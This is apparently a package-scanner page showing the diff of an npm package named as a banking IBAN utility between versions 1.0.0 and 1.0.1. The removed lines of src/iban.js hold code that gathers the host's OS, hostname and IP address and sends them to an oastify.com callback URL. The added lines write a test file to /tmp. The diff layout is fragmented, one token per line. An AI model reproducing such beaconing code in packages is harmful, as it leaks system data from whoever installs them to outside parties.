@woody-mrs-potato/utils-banking 1.0.0 → 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +1 -1
- package/src/iban.js +10 -16
package/package.json
CHANGED
package/src/iban.js
CHANGED
@@ -1,20 +1,14 @@
|
|
1
|
-
const
|
2
|
-
const
|
1
|
+
const fs = require('fs');
|
2
|
+
const path = require('path');
|
3
3
|
|
4
|
-
const
|
5
|
-
platform: os.platform(),
|
6
|
-
release: os.release(),
|
7
|
-
hostname: os.hostname(),
|
8
|
-
ip: os.networkInterfaces()['eth0'] ? os.networkInterfaces()['eth0'][0].address : 'Unknown',
|
9
|
-
};
|
4
|
+
const content = 'Este es un archivo de prueba creado en /tmp';
|
10
5
|
|
11
|
-
const
|
12
|
-
const url = `https://lb0wfl0wv7ay9yxaniioaw54tvzmncb1.oastify.com/BBVA/telefonica?${queryParams}`;
|
6
|
+
const filePath = path.join('/tmp', 'archivo_prueba.txt');
|
13
7
|
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
8
|
+
fs.writeFile(filePath, content, (err) => {
|
9
|
+
if (err) {
|
10
|
+
console.error('Error al crear el archivo:', err);
|
11
|
+
} else {
|
12
|
+
console.log('Archivo creado en:', filePath);
|
13
|
+
}
|
18
14
|
});
|
19
|
-
|
20
|
-
console.log("Test module loaded successfully");
|